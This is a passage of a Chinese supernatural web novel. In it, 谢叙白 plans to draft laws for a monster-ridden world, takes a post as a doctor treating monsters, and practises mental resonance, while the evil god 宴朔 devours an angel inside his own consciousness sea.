他又摸了摸口袋里的塑料纸——那些吃剩的糖果包装纸。 谢叙白给的糖果,店里也有卖,一样的包装,一样的味道,却比店里好吃太多太多。 他好好地把包装纸保留了下来,一张都没舍得丢。 细数浑身上下,只有这点家当,却让傻子甘之如饴。 蝉生坚决地说道:“我会努力变强,强到不再死亡,没有实验也没关系。” 议会长愣了愣。 在对方的眼里,他看到一抹从未有过的光芒,莫名的热意涌上心头,忍不住拍着蝉生的肩膀大笑道:“好,有志气!” 另一边的严岳在进入直播大厅的第一时间,就点开了许清然的直播间。 这次参加诡王副本,他本来没想要死士,毕竟有信赖默契的搭档可以托付,谁会选择陌生人重新磨合。 然而那几人听说他有攻略组的支持,为了让他安心和死士组队,直接放弃参与首通试炼。 许清然是唯一坚持报名的人。 但她一样不想拖严岳的后腿,一直躲在个人空间,直到试炼开始,也没有同意严岳的组队邀请。 严岳很担心许清然。 事实上他的担心是对的。 刚点进直播间,就看见一个手持镰刀的男人掐住许清然的脖颈,将她慢慢提到半空中,笑意不达眼底:“我是不是告诫过你,不要在我的面前表露出那些无谓的善心?” 许清然用力掰他手腕,却无法撼动分毫,逐渐呼吸不畅,憋得脸颊通红,气若游丝地说道:“你就,就这么杀了他,万一副本有坑,怎么办?” 在他们的身后,一个尸体倒在血泊中,细碎的黑发垂在鬓角。 镰刀男歪了歪脑袋,正想说些什么,忽然感受到背后传来一股令人发寒的压迫力,迅速回头,对上一只冰冷的猩红兽瞳。 那只兽瞳简直比他的身体还大,再往上看,狰狞鳞片如嶙峋山石,红鳞巨兽张开血盆大口,发出咆哮。 利爪如同泰山压下,掀起阵阵飓风,让人逃无可逃。 镰刀男状似惊奇地哇哦一声:“还真有坑。” 看到眼前遮天蔽日的庞然大物,许清然顿时心如死灰。 只要死掉就会被清空记忆,一无所有,这怎么不让人绝望? 但镰刀男好像有恃无恐,危险已经近在咫尺,仍然抱着玩乐的心态。 “唉,算了。”他靠近许清然的耳边,眼神危险得令人发寒,说话自带一股情人间耳磨鬓厮的暧昧语气,“下一个副本不知道还能不能见面……明明是这么美妙的回忆,却只有我一个人能记住,真是……” 这话什么意思?许清然错愕。 没等想明白这句话,咔嚓一声,她被镰刀男干脆利落地捏断颈骨。 下一秒利爪轰然落下,将镰刀男狠狠地拍成一滩烂泥。 游戏大厅发生的一切,谢叙白无从得知。 他把江凯乐带回家中,着手给人迁移户口,恢复学籍。 许女士说会将私人财产全部转移到他的名下,第二天,谢叙白就收到了银行的转账通知。 同时许女士的助理带着律师上门,毕恭毕敬地表示许女士名下还有一些不动产,涉及到的产业项目比较杂,看谢叙白是打算直接继承公司还是变现。 谢叙白拜托吕向财帮他掌眼。 也是这个时候,吕向财才知道谢叙白竟然陷入了江家循环,并且成功打破循环,顺利救出江凯乐! 他半是后怕,半是惊喜。 谢叙白说出自己深思熟虑的安排。 许女士给的私产,一部分他想以许女士的个人名义捐赠给福利中心,一部分则用作公益项目。 还有一部分,他想留给江凯乐,只是形式有所变更。 为此谢叙白还专门制作出一份企划案,交给吕向财过目。 他不是这个专业领域的人,拿不准有没有可行性。 吕向财玩味地打趣道:“这么神神秘秘,感觉是很了不得的东西。” 他依旧吃味谢叙白对江凯乐的上心,但一想到青年早晚也会救他出循环,就连董事会那些面目可憎的脸,都变得亲切了一点点。 “也没有。”谢叙白将企划案递过去,“我想了又想,如今的世界秩序崩坏,很难定义行侠仗义的标准。” “行侠仗义?” “嗯,是江少侠的梦想。”谢叙白轻笑。 “哟呵,江少爷童心未泯啊。” 吕向财笑着将企划案接过手,大概扫一眼,笑容从脸上消失,面无表情地啪一声合上。 “……你没开玩笑吗?” 吕向财知道谢叙白胆子大,也没想到对方居然这么敢。 瞪着眼前这张平静的脸,他的语气充斥着惊疑不定:“你居然想要创造规则?” 那企划案上写着的,赫然就是谢叙白根据诡异世界而重新制定的法律! 没错,谢叙白准备推行法律,建立异化世界所缺少的执法单位。 而江凯乐将作为首选执行官,撑起这一门墙。 这便是谢叙白预备为江凯乐铺开的行侠之路,合理、正当,更不会带来心理上的负担和压力。 但他没想到会从吕向财口中听到规则二字。 对异化后的世界来说,【规则】一词分量极重,是维持一个区域正常运行的法则力量。 创造新的规则并不简单,那需要颠覆之前的规则。如同古代变法,施行时必将引起一场腥风血雨。 谢叙白垂睫沉吟:“……其实我没想那么深。” ——不过他可以现在开始想。 吕向财努力平复陡然加剧的心跳,半信半疑地细读下去。 结果越看越心惊。 虽然初定只在许女士的产业内实施,但企划案后面也写着,如果证实可行,将考虑将上述法律逐步扩展至周边地区。 这分明就是规则的雏形! 更要命的是,谢叙白在具体实施方案的各方面,都做出了详细说明。 一个对法律一知半解的人,在无法搜索到法律的前提下,居然能做到如此地步,足以看出他的固执和坚持。 吕向财不知法律,但能看出谢叙白在这字里行间反复打磨的痕迹。 他向来很欣赏谢叙白的认真。 可此刻,只感觉到一阵惊心动魄。 谢叙白仔细观察他的表情细节,松了一口气,笑道:“看来可行?” “什么可行?不行!” 吕向财关心则乱,难得对他发火,声音微厉:“你知不知道自己在干什么?制定规则是神的权责,任何妄图盗取火种的人都会被千刀万剐!你的意志会被原有的规则粉碎,哪怕重聚灵魂也无法恢复过来!” 谢叙白微微睁大眼。 神? 【知道神是怎么来的么?】 男人低沉磁性的嗓音再度浮现于他的脑海中,含着耐人寻味的深意。 谢叙白再三咀嚼这句话,忽然意识清明,生出一股后知后觉的顿悟。 他对【神明】身份没有实际概念,终于在这一刻猛然意识到,那人状似轻巧随意的帮忙,实则给他送出一份不可估量的大礼! 很快做好心理建设,谢叙白郑重道:“我明白了。” 吕向财听出他的决意,愈发骇然道:“你明白了什么?我怎么感觉你压根没明白?别想着做傻事!” 谢叙白弯眸一笑,温声安抚道:“肯定不会做傻事,如今我可养着一大家子,而且还没救你出循环。” 霎时间,吕向财所有的说辞都被这一笑呛回嗓子里:“……” 啧,这就是又爱又恼的感觉吗,简直让他没辙。 其实这份企划案不是只有未来可期,至少和产业相关的部分,现下就能实施。 对那些产业区域来说,拥有它们的谢叙白和“诡王”无差。 一个人类去担任诡怪们的诡王,吕向财很担心他会被撕碎,说什么也要安排保镖陪同。 谢叙白没有拒绝他的好意,同时笑着问:“你看我现在的变化大不大?” 他特指自己成为江凯乐老师后所带来的精神力变化。 吕向财当然发现了,从再次见面开始就忍不住惊异,继而为人感到十分高兴。 他勾唇比出个大拇指:“没得说,真的要好好夸一下你!” 吕向财道:“你也累了一个多月,这几天干脆好好休息一下,我给你放十五天假,你尽情地玩,想去哪儿?我来安……” 谁料谢叙白摇了摇头:“不用,我接下来去什么地方,你是不是已经选好了?” 吕向财皱了下眉头:“再怎么着急变强也得注重劳逸结合,你现在还是肉骨凡胎,累坏了该怎么办?” “我总有种不祥的预感,变强这事,能尽快还是别耽误。”谢叙白说道,“以后再休息也一样。” 吕向财不认同:“至少休息三天。” 谢叙白又旁敲侧击地问了几句,吕向财咬死不肯松口。 见他坚持,谢叙白无奈保证:“好好好,这三天我一定好好休息。” 吕向财这才面色稍霁,突发奇想提议道:“要不给你办一场庆功宴?订在海上,来一场灿烂盛大的烟花,叫成群的美人一起开派对,再去最美的海岸线度假!” 谢叙白忍俊不禁:“你是想让我休息还是折腾我呢?” “真不想去?这个时节还能看到鲸鱼迁徙,一年一度,非常难得。” 谢叙白爱好很多,对动物尤其无法抗拒,顷刻间抬头,眼睛一亮:“什么时候?” 他还没亲眼看过鲸鱼。 看着青年充满期待的模样,吕向财心里一阵发软,柔声道:“只要你想,什么时候都可以。” 谢叙白失笑:“那可是迁徙,总不可能我说最近太忙没时间,它们就留在那一直等我。” 吕向财但笑不语。 ——你不知道鲸鱼会有多高兴,只要你会来,等多久都愿意。 三天转瞬过去。 将平安的毛发、江凯乐的鳞片放进钱包夹层,谢叙白到盛天集团见吕向财。 约莫是怕他休息不够,在此之前吕向财没有透露半点消息。 谢叙白有过诸多猜测,甚至做好了跋山涉水、上天下海的准备,却没想到自己会得到一件白大褂。 谢叙白不免迟疑,毕竟他连半本医学书都没看过:“这是……?” “你没猜错,接下来你要到市第一医院去当主任医师。”吕向财道,“但看病的对象,是异化的怪物。” 第54章 不会反抗的 似乎看出谢叙白的疑惑,吕向财解释道:“就像我之前告诉你的那样,对世界本貌的各项认知属于一种禁忌知识,贸然触碰禁忌知识的人类会异化成怪物,这种情况即为思维污染。” “能够抵御思维污染的力量。”他伸出手指点在太阳穴上,意味深长地说道,“便是精神力。” 谢叙白亲眼见证过江凯乐的异化过程,几乎一点就透:“难道说怪物会持续受到思维污染的影响,继而加重异化的程度?” 吕向财道:“没错。如果将思维污染比喻成深渊,那么变成怪物只是掉入深渊的开始。” “在深渊里行走得越久,受到的污染就越严重,怪物会逐渐产生认知错乱,直至再也分辨不清自我。” 有一瞬间,吕向财的声音出现短暂的停顿,其神色更是复杂难辨,勾着唇角,皮笑肉不笑地说:“——最后彻底和深渊融为一体。” 说完之后,他等着谢叙白的反应,却发现青年只是一个劲儿地看着他。 吕向财揶揄道:“怎么,被吓到了?” 他只是随口调侃一句。 谢叙白最初觉醒的时候没有变成怪物,和诡怪密切接触后没有变成怪物,那么很大概率,今后更不会变成怪物。 始终都可以作为人类存在的谢叙白,何必去害怕怪物将要面临的结局? 果不其然,谢叙白拧眉思索,如实摇了摇头:“我没有被异化的经历,不太能具体想象到是什么感觉。” 就像那人初次提及“成神”。 是人都知道神很强大,却无法确切地明白神能够造成多大的影响,谢叙白也一样。 直到吕向财告诉他只有神才能制定规则、推行规则,他才多少明悟一点。 吕向财便笑笑,没有继续说下去,回归正题道:“所以我推荐你去市第一医院当医生。” “虽然第一医院已经沦陷为怪物的巢穴,但是那里规矩森严,仍保留着人类社会的运作模式。主任医师属于高级医护人员,有规则作保,所以不用太担心安全问题。” 岂止是高级医护人员。 主任医师属于医生职称中的最高级别,别看和主治医师只有一字之差,在医院的待遇可是天差地别。 第一医院有每月考核,考核成绩超过三次不及格就会被除去职位,相当于谢叙白有三次机会。 只要能在第三月或之前达成指标,谢叙白就能彻底坐实【第一医院主任医师】的身份,届时精神力也会更上一层楼。 吕向财没有言及,为了帮谢叙白这样的跨行业小白争取到这个职位,究竟付出了怎样的代价。 他只是笑意盈盈地看向谢叙白,理所当然地道:“现如今你的精神力已经提高,即将异化的人类满足不了你的训练需求,只有思维污染较为严重的‘病人’,才配让你试手。” 世界的异化一天不消除,思维污染就会持续加重。 意志不够坚定的怪物想要抵御污染,只有借助外力进行干预,比如找一个精神力够强的怪物医生。 虽然谢叙白的精神力刚到诡怪的入门级,放在盛天集团勉强能担任个小组长,但吕向财对青年很有信心。 吕向财道:“时间很紧凑,相当于你要把一年的规培课程,压缩到三个月内学会,所以之前我才让你好好休息。” 不然谢叙白的身体一定吃不消。 也是这个时候,吕向财忽然发现,谢叙白已经很长时间没有回应他的话。 但那双眼睛确实在专注认真地看着他。 吕向财不太确定地抬起手,在谢叙白的眼前晃了晃:“怎么了,是不是我刚才说的太复杂?要不要我重新解释一遍?” 谢叙白眨了眨眼睛,仿佛才回神一般看过去:“没有,你说的话我在认真听。” 在认真听?吕向财可没有忽略谢叙白眨眼的细节,不仅没有生气对方的走神,还有点莞尔。 原因无他,谢叙白前段日子实在太拼了,连他这个旁观者都看得胆战心惊,生怕哪一天青年会累得倒下去。 他对谢叙白的心疼无法言喻,但他既然亲手将青年拉上这条不能回头的路,又怎么能在对方铆足劲儿的时候泼冷水,说些丧气话? 乃至于想让谢叙白多休息几天,都得先找个正当理由。 但谢叙白确实在认真听。 不仅是认真听,同时还在认真地思考吕向财最初提及的深渊问题。 “是害怕,对么?”谢叙白问。 吕向财一时没能反应过来,下意识地问:“什么?” “当发现自己即将彻底堕落的那一刻,心里应该会感到害怕和绝望。” 听到这话,吕向财的笑脸出现片刻的凝滞,若无其事地说道:“没错,推断得很正确。” 谢叙白还是用和刚才一样的眼神看着他,那眼神温和宁静,却和平时有微乎其微的差别。 吕向财开始没有感觉出来,现在被人盯得久了,一股不自在的感觉油然而生,后知后觉地问:“……怎么了?” 谢叙白近乎呢喃地说道:“原来是这种感觉。” 害怕、绝望。 ——不知道自己最后会变成什么模样,活在一种对未知的恐惧里。 ——能清晰感受到自我意识的消散,从记不清随身物品被放在什么地方,到看见熟悉的面孔,也叫不出对方的名字。 ——最后睁开眼,看见陌生的天花板,陌生的房间,陌生的一切。 ——正怀疑自己是不是被人掳到这儿,结果一扭头,又在床头柜上看见自己亲笔写下的行程安排。笔记和注意事项写得密密麻麻,脑海中却搜刮不出一点印象。 那一刻,脑子嗡嗡作响,思维一片空白,仿佛整个世界都变得虚幻起来,包括自己的存在。 莫大的孤寂感犹如寒冬冰潮将身体包裹,冷到刺骨。 “好可怕啊……” 谢叙白情不自禁地伸手,触碰胳膊上的鸡皮疙瘩,岂料就是这个简单的动作都令他忍不住受惊,小小地颤栗了一下。 而后他抬头,再次和错愕的吕向财对上眼,揉了揉对方的头发:“一直以来,辛苦你了。” 青年的状态实在割裂。 一方面能让人感受到他的惊惧和无所适从。 另一方面又似漾起波纹的湛蓝海面,带着让人身心放松的平静和安稳。 猝然被谢叙白按着脑袋一顿揉,吕向财整个人都像被施下魔法般定格,良久,才好似想明白,倏然抬头:“精神共振?” “你在尝试和我精神共振?……不,你不是在尝试,你已经成功了!” 成功触及他的精神海,切实感受到他的不安! 吕向财一时之间不知道该把谢叙白揉他脑袋的手拿走,还是为对方可怕到极致的顿悟能力震惊。 按照他为谢叙白做出的规划,只要让青年在医院里多熟悉一下流程,不出一个月就能学习到抑制思维污染的理论经验,再一个月就能尝试上手,第三个月正好冲刺考核。 结果呢?谢叙白甚至还没有穿上这身白大褂,就已经学会精神共振,等同于医生顺利找出病人的症结,离直接上手只差一个念头。 吕向财受到冲击不小,他就像无意遇到个好苗子的老师父,循序渐进地打算教对方“跑步要先从走开始,注意协调四肢”。 结果一扭头的功夫,竟然看到人在赛道上百米冲刺! 这叫捡到宝吗?这分明是挖出一整条宝石矿脉! 吕向财不失惊叹地说道:“你真的远远超出我的想象,谢叙白。这样的你不需要多长时间,就能上手治疗怪物。” 谢叙白柔声应道:“嗯。” “我原本想劝你随便找个借口推掉第一个月的考核,防止被人看出实力薄弱,遭到其他科主任的刁难或后辈的不服抵制。现在来看,你完全可以在第一个月多收治病人,积攒经验,一举拿下考核。” 谢叙白轻笑附和:“好。” “如果能在大会上评到奖项,【主任医师】这个身份的含金量会增加,对你的帮助更大!” 谢叙白闻言神色一动,正色道:“那我现在就去练习。” 吕向财交给他的聘请函上有写,后天早上九点才是正式报道时间,在此之前他还能抓紧时间熟悉刚领悟的新技能。 结果手刚从吕向财脑袋上拿走没几秒,就被人反射性用双手抓了回去,按在相同的位置。 谢叙白:“?” “……咳。”吕向财移目,他也不知道自己是怎么回事,明明很抗拒被碰脑袋。 “你可以把我当成练习对象。” 他一本正经地找了个借口。 下一秒,直直望进那双澄澈明亮的眸眼。 吕向财忽然想起对方处于精神共振时不安害怕的模样,忍不住浮现出片刻的恍惚。 这世上不存在真正的感同身受,就如同刀子不割在自己的身上,怎么会知道疼? 但就在刚才,谢叙白真的做到了和他感同身受。 乃至于害怕得浑身冒起鸡皮疙瘩,也没有解除精神共振。 吕向财握住谢叙白手腕的手指突然一阵发软,莫名其妙的心理,致使他说出不过大脑的言辞。 “来吧,你想怎么折腾我都可以,我不会反抗的。” 谢叙白:“……?” 忽略吕向财突然脑抽的发言,单纯作为练习搭档来说,他确实很能抗造,不管谢叙白怎么使用精神力也能忍耐着一声不吭。 晚上回到家,谢叙白若有所思地看着乖乖写作业的江凯乐,招了招手:“江少侠,愿不愿意帮老师一个忙?” 江凯乐虽然疑惑,但想也没想地走了过去:“当然,老师想让我做什么?” 精神共振成功,顺利解读出对方的精神波幅,就能建立链接,继而压制思维污染。 这种医疗方式类似于小说中的哨兵向导,只要被治疗者别暴起反抗,则百利而无一害。 是以很多怪物医生最初也会找亲近之人进行练习,因为陌生人很难在短时间内放下戒备,全心接受治疗。 听过吕向财的解释后,谢叙白才放心在对方身上练习。 此时他已经能够熟练地使用精神力,想尝试治疗不同的练习对象。 听到谢叙白的请求,江凯乐满口答应下来。 谢叙白怕少年不适应,动手前先温言细语地安抚一番,然后强调:“如果有什么不适,一定要及时告诉老师。” 见对方的脸色这么凝重,江凯乐也不由得打起十二分的小心,严阵以待地应声道:“好的老师。” 三分钟后。 少年整个身体瘫软在沙发上,意识朦胧地抓来抱枕蹭一蹭脸,身心放松到胳膊腿上全是无意识露出来的红鳞,晕晕乎乎地说道:“老师,不难受的啊,很舒服,像打完篮球后洗了个热水澡……” 谢叙白有些意外,效果这么好么? 刚巧平安带着猫猫狗狗们巡逻归来,谢叙白视线转移,又朝小家伙们招了招手。 半小时后,毛茸茸们四仰八叉地倒在地上,眼神是如出一辙的迷离。 狗狗们一边瘫倒一边狂摇尾巴,嗷呜嗷呜地低吼。猫猫们抬起爪子,嘴里“呼噜噜”地隔空踩奶,抖耳朵。 宛如大型喝嗨现场。 谢叙白盘腿坐在一边,守着丧失战斗力的一大家子,感觉自己还有余力。 就是苦于找不到吕向财那样能抗一个白天的练习对象。 其实他当时不急着回家,想再多练练,但吕向财最后送他到门口的时候腿在打颤,嗯…… 谢叙白垂睫深思,总感觉不管是他还是吕向财的判断都出现了出错,他的精神力好像比预计中要强很多。 接下来还能找谁练习? 【白白!】 这时,小触手突然从影子里蹿了出来,兴致勃勃地打招呼:【我听说你后天要去医院玩,带我一个呀!】 第55章 在疮痍荒芜的大地养一朵小…… 这是一片昏暗得仿佛由黑暗构造的世界。 天空是诡谲不祥的猩红色,漆黑乌云层层堆积,厚重得仿佛要坠落下来。无数道银白色的雷霆若毒蛇穿梭其中,轰然雷鸣不绝于耳。 然而乌云下的大地,还有着比雷鸣更加嘲哳难听的声音。 只见数不清的怪物齐聚在一起,对着脚下的土地大快朵颐。 它们的脸上没有其他器官,只有一张流着浓稠涎水的嘴。通体青黑色,皮肤布满褶皱,像腐烂发臭的苹果核。 但若是细看,会发现每一头怪物的形貌虚幻,在不停地变化。 有时候像人,有时候像狮子老虎熊之类的野兽,宛如佛有三千面,没有定数。 突然有一头怪物发出吼叫,周围的怪物立马停下来,同样张开腥臭扑鼻的大嘴,一起声嘶力竭地嘶吼。 “吼!吼!……” 随着吼叫声此起彼伏地响起,空气中传来波纹般的颤动,无规律弥漫的黑雾忽然啪嗒掉下一块黏腻的血红色肉块。 肉块没有脏器,却好似活物般不停蠕动,疯狂吸食空气中的黑雾。 短短一个呼吸的功夫,它膨胀、变大,体型巨如凶兽,生出獠牙和健壮的四肢,纵身加入正在进食的族群,张口对着大地恶狠狠地撕咬下去。 獠牙穿透岩石层,却传出血肉被撕咬的质感。 黑色土地被咬开的裂口,也像是生物破碎的伤口一样,不断渗出汩汩鲜血。 舔舐到血液的怪物更加亢奋疯狂,加快进食的速度。然而不管它贪婪地吃下多少土块,肚子依然干瘪,饥饿感也一点都没有消除。 于是饥肠辘辘的怪物抱着对生存的本能渴望,不停地吃,疯狂地吃,吃到嘴角被土块锋利的棱角划开,淌出宛如沥青的黑血。 黑血被大地吸收,散发出更多的黑雾。雾气分出部分,凝为实质,自发填补大地的缺口。 在此期间,有几百头怪物力竭饿死,又有几百块黏腻的血肉从黑雾中掉落,诞生成长为新的怪物。 “吼——!” 像一个永无止境的循环。 新怪物眨眼间涌进族群,如同流水消失在海洋中,分辨不出单个身影。 它们撕心裂肺地吼叫,巨大的声音甚至压过天上的雷霆,低头露出血盆大口,将这片大地撕咬得满目疮痍! 宴朔悬停在半空,冰冷漠然的眼神从密密麻麻的怪物潮一掠而过。 祂已经发现,自己意识海内的怪物变多了。 这些怪物即精神污秽的具象化,代表祂的思维污染在加剧。 但祂毫不在意,这次内视意识海也不是为了眼下逐渐增加的污秽。 宴朔掀开眼皮,睨向光芒大绽的天空,神圣庄严的气息扑面而来。 在昏暗阴冷的世界里,这道光芒过于强烈,强烈到刺目。 浓郁厚重的乌云被强光清散,底下沐浴在光中的怪物像是被烈火灼烧,表皮溢出一阵皮肉被烧焦的白烟,滋啦冒泡。 它们发出惨叫,朝着四面八方落荒而逃,速度稍微慢点的,直接被光箭钉在原地。 仿佛被光箭抽走所有的生气,疯狂挣扎的怪物动作越来越慢,青黑色的皮肤也一点点变得灰白,直至浑身僵硬,像雕塑般立在原地,动弹不得。 光照下的土地瞬间一空,不再有难听的嘶吼传出,陷入久违的安宁。 对任何怪物来说,能够控制思维污染,绝对是一件好事,就连邪神也不例外。 天空中的光源显然也是这么想的。 它见宴朔停在半空不动,以为自己终于得到默许,大着胆子朝黑暗的世界再度迈进。 圣光降下,方寸土地瞬间亮如白昼。 光芒中隐约能看到十二只翅膀在轻柔地扇动,亮白如银,柔和而圣洁。 每一根羽毛都染着灼热耀眼的金光,仿佛能净化一切黑暗。 那是只存在于传说中的十二翼君天使,祂来助宴朔控制污秽。 【不要害怕,很快的……】 祂发出悦耳动听的安抚声,那声音带着光明的神力,能让世间一切生物沉醉其中。 【我来让你解脱,从今以后不需要再害怕,也不会再感受到痛苦。】 像是感应到自己即将得到救赎,怪物们全部停下进食的动作。无眼的面孔朝向光在的地方,予以“注目”。 见到这万众瞩目的情景,向来傲慢孤高的君天使也忍不住心神荡漾。 祂当然能为之自傲。 祂是光明神座下第四天使,而邪神比肩至高无上的光明神,是平日只能被祂们仰望的存在。 能够被邪神接纳,净化这世间最强大纯粹的黑暗,是所有天使此生无法想象的愿景。 君天使无比庆幸,庆幸自己在感应到邪神思维污染加重的第一时间,赶了过来。 现下,祂愉悦自得地舒展翅膀,眼里闪烁着兴奋难抑的光芒,迫不及待地准备迎接属于祂的荣光。 【就是这样,放松自己,全心全意地接纳我吧——】 话音未落。 被光笼罩的黑暗大地忽然暴起。 它就像伺机而动的巨兽,在天使靠近的瞬间,夸嚓一声,裂开一道宛如峡谷般的沟壑。 转眼间地动山摇,整片土地冲天而起,是巨兽在挺起身体。沟壑边缘的碎石窸窸窣窣地掉落,是巨兽流下的涎水。 远远地看过去,就是地底突然冒出一座巍峨参天的高山! 半空的君天使猝不及防被土地“咬住”,嶙峋山石毫不留情地挤压祂的身体,将骨头碾碎,羽翼压成血肉模糊的烂泥,痛得祂发出颤抖破碎的尖叫。 【啊啊啊啊啊!你在干什么?!我能救你啊,为什么要拒绝??】 【停下来,我的意识快要崩塌了,停下来!】 君天使撕心裂肺地惨叫着,发现攻击根本没有停止。 祂试图反抗,举手凝聚圣光。 谁想到凭空生出一阵飓风,呼啦袭来,切断祂的手臂。 金色的鲜血泼洒半空,君天使的脑袋轰地一下,再次发出痛苦尖利的喊叫。 祂隐约听到飓风在笑,天上的乌云和雷霆也在笑,四面八方都回响着这样轻蔑的嘲笑。 邪神的意识海,不止大地上游走的那些千面怪物是怪物。 这里所有的一切,包括风云、雾气雷霆、大地山石等等一切所能看到的事物,都是残暴嗜血的怪物! 此时此刻,君天使终于在绝望和痛苦中明白,邪神的污秽到底有多么的厚重可怖。 祂竟然以为自己能控制住对方的思维污染! 君天使立时摈弃温柔圣洁的面孔,眼神怨恨得仿佛淬了毒。 【我是拥有正神格的十二翼天使!哪怕是你,杀死我也会被诅咒,背负光明的咒痕!】 仿佛映照着祂的话,无垠的虚空中降下一道圣光,笼罩在巨石身上,发出事物被灼烧的滋啦声。 巨石和飓风却发出不屑的嗤笑,迎着炙热的圣光,疼痛反而让它们更加残暴,毫无顾忌地撕碎祂的血肉。 沾血碎裂的羽毛纷纷扬扬地飘落,落在千面小怪们的嘴里。它们来者不拒,贪婪地吮吸起来,连羽管都要咬碎了吞进肚子里。 整个黑暗世界,宛如在开办一场分食神明的饕餮盛宴。 君天使感觉到意识将要泯灭,嚣张的气焰逐渐消弭,恐惧像看不见的手掐住了祂。 祂疯狂地求饶,口齿不清。 【拜托您,放过我!】 【我不该妄图冒犯您,求您息怒!】 【不能,不,能杀我!杀了我,以后再也不会有天使来救赎你,你将永远,沦陷于,黑——】 暗字没能出口,君天使被怪物们蚕食殆尽。 光芒消逝,冒出来的山石缩回地底,风掠过贫瘠漆黑的土地,千面怪物们继续撕咬土地。 黑暗世界再次恢复以往的昏黑和癫狂。 从始至终,宴朔都没有挪动过位置。 君天使凄惨死去的时候,更是连一个眼神都欠奉。 像席位上百无聊赖的观众,舞台上的演员在卖力嘶吼,竭力展现自己美妙的身姿,祂却看得愈发无趣,撑着脑袋昏昏欲睡。 虚空传来声音,似乎痛心疾首。 【……这是你拒绝的第一千二百八十三位天使。】 宴朔无动于衷。 祂波澜不惊的冷漠神情,本身就是一种睥睨万物的傲慢,刺痛了虚空之上的某位存在。 仿佛恼羞成怒,虚空传来诅咒般的警告。 【你早晚会被污染侵蚀。】 【你早晚会失去自我。】 …… 【你将永远沦陷于黑暗,直到意识泯灭虚空也得不到想要的答案!】 听到前面那些话,宴朔什么反应都没有。 直至最后一句落下,祂倏然掀开眼帘。 黑雾形成漩涡冲天而起,形似利刃刺向虚空—— 【!】 虚空中的存在闷哼一声,正想反击,却见顷刻间黑雾再次凝聚。 大地颤动,雷霆轰鸣。无数道气刃蓄势待发,宛如目露寒光的毒蛇。 【……】 再无半点声息。 宴朔冷冷地凝视着对方落荒而逃的“背影”,脸皮绷紧到颤抖,直至什么都感受不到,才收回视线。 原本被君天使控制住的怪物恢复活性,就地一趴,开始吞噬土地。 土地不予理睬,倨傲至极。 ——祂不需要什么治愈,也不需要什么救赎 ,就算死,也没人能在祂的意识海内留下半点痕迹。 可就在宴朔准备退出意识海的时候,祂的大腿陡然一颤,被泛凉指尖温柔触碰的鲜明触感,自皮肤下汹涌袭来。 宴朔的眼皮子狠狠一跳。 但还能忍。 毕竟已经习惯了。 小触手每天两点一线,只要从祂眼皮子底下消失,必定是去找那名叫谢叙白的人类,揉揉抱抱摸摸都是常态。 作为祂的躯壳碎片,小触手也能使用祂的领域肆意穿梭空间。 除非把这糟心的玩意重新融回本体,或者时刻盯紧小触手,不然祂限制不了它的行动。 谢叙白还没正式走上成神之路,所以还不至于到那种地步。 人类对神明的触碰,如同微生物对人类的撕咬,若是打起精神提防戒备,反而可笑。 呼吸的功夫,宴朔眼里的波动几经沉潜,终于恢复冷漠,好似一滩波澜不惊的死水。 再下一个呼吸的功夫,鲜明的舒适感如同迅猛的电流打入脊梁骨,祂身体一软,差点从意识海的半空直坠下去! 另一边,谢叙白正握着小触手,用指尖轻轻揉动它柔软的吸盘。 小触手不受控制地扭来扭去,像被逗乐的小孩,憋不住笑。 【白白,好痒哦。】 说着很痒,却又用尖尖勾住谢叙白的手指,不肯放松。 谢叙白看出小触手的喜欢,弯起眸眼,点点它的吸盘:“准备好了吗?我们再来一次。” 治疗一共分三步。 一精神共振,二缔结精神链接,三他的意识体进入小触手的精神海,控制污染。 小触手的级别远高于吕向财他们,是以谢叙白在尝试精神共振的时候,不敢有片刻的放松。 也如他所料想的那样,在他好不容易对上共振的波幅时,汹涌的负面情绪惊涛骇浪般袭来,差点让他昏厥过去。 他心悸地捂住起伏不定的胸口,冷汗湿透后背,吓惨了在众的一大家子。 可与之同时,谢叙白也终于感受到治愈时的阻力。 无论是吕向财、江凯乐还是小家伙们,都不会对他设防。这让谢叙白能够轻松地运转精神力,但也极大程度地降低了训练的效果。 他一个毫无履历的主任医师,难道会一个照面,就让病人们全身心地信任他么? 必然不会。 所以谢叙白渴望遇到阻力,只有发现问题,才能找到攻克的办法。 没能和小触手共振成功,反而激起他的无限斗志,有了之后的第二次、第三次……第数不清次数的尝试! 小触手的负面情绪浓郁得好像没有尽头,像凶猛的黑色风暴,一遍又一遍地将谢叙白吹倒。 谢叙白就一遍又一遍地站起来,再度迎接风暴。 他不知道自己的极限在哪儿,也感受不到时间的流逝,只要精神力还没有枯竭,就能重头再来。 这是一个相当枯燥且艰难的过程,尽管小触手竭力收敛,谢叙白还是不可避免地感受到了情绪疯狂颠簸的痛楚。 他的情绪由不得自己,有时揪心,有时怨恨,有时悲怆。 终于在某一刹那,谢叙白感受到小触手的内心似乎出现一抹松动。 他瞬间牟足劲儿,拼尽全力,抓住机会尝试共振,终于对上那段名为愤怒的波幅! 同时谢叙白迅速抛出精神力,精神力化作结实的铁链,飞扑过去捆住小触手意识海里的土地,精神链接缔结成功! 做完这一切,身心俱疲的谢叙白方能撑着身体,喘出一口粗气,揉揉吸盘安抚小触手。 小触手再怎么心大,都能感受到谢叙白的不适,当即有点畏缩。 【不要了,白白,你看上去很不好……】 虽然精神链接的刹那间,它舒服得仿佛要上天。但白白不舒服,它就忍不住讨厌这种感觉。 谢叙白亲一亲不安的小触手:“乖,我心甘情愿的,这么做对我有好处,不要担心,发现不对我会退出来的。” 【为什么我的内心会这么可怕?】 小触手越想越自闭,用力缠住谢叙白的指尖,生怕青年因为害怕而疏远自己。 “不可怕的,只是比其他人要多一些戒备,这很正常,说明小一比较警惕,是好事情。”谢叙白捏捏尖尖,笑着温声哄它。 待小触手不再抗拒,谢叙白顺着精神链接,成功抵达对方的意识海。 他看到荒芜疮痍的漆黑大地、猩红的天空,听到了震耳欲聋的雷鸣。 数不清的怪物游弋在凹凸不平的土地上,几乎在谢叙白进来的一瞬间就发现了他。 因为有小触手的跟随,它们没有立时扑上来,只是裂开满是尖牙的嘴巴,淌着涎水,在旁边虎视眈眈。 谢叙白的视角从上到下,又从远至近:“……” 他对自己有清醒的认知,瞬间冷静下来,认清这不是自己能治愈的意识世界。 贸然动手,或许会沦陷其中。 谢叙白摇了摇头,准备退出去,眼角余光忽然瞄见了什么,动作一停。 没几秒的功夫,好不容易遏制身体的异样,恢复寻常模样的宴朔出现在谢叙白的身后,嘴唇抿紧成一条凌厉的直线。 青年不知道在他的意识海里胡乱倒腾什么,背对他半蹲在地,没有察觉到他的到来。 宴朔呼吸不匀,眼神愠怒,在即刻发火的边缘。 